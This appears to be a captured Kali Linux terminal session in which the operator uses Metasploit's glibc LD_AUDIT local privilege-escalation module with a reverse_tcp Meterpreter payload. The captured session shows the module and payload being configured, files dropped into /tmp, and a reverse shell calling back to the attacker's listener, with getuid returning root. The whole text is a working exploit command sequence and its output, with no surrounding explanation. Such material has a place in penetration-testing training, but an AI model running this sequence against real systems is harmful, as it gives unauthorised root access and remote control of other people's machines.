
Firefox ESR
Browse the World Wide Web
kali@kali: ~
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options
Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
Name Current Setting Required Description
SESSION yes The session to run this module on
SUID_EXECUTABLE /bin/ping yes Path to a SUID executable
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
LHOST 192.168.50.100 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set LPORT 4446
LPORT => 4446
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.50.100:4446
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.cUysz0' (1271 bytes) ...
[*] Writing '/tmp/.SMWsq' (276 bytes) ...
[*] Writing '/tmp/.6GFu0' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.40.101
[*] Meterpreter session 2 opened (192.168.50.100:4446 → 192.168.40.101:36598) at 2025-03-13 13:46:04 -0400
meterpreter > getuid
Server username: root
meterpreter >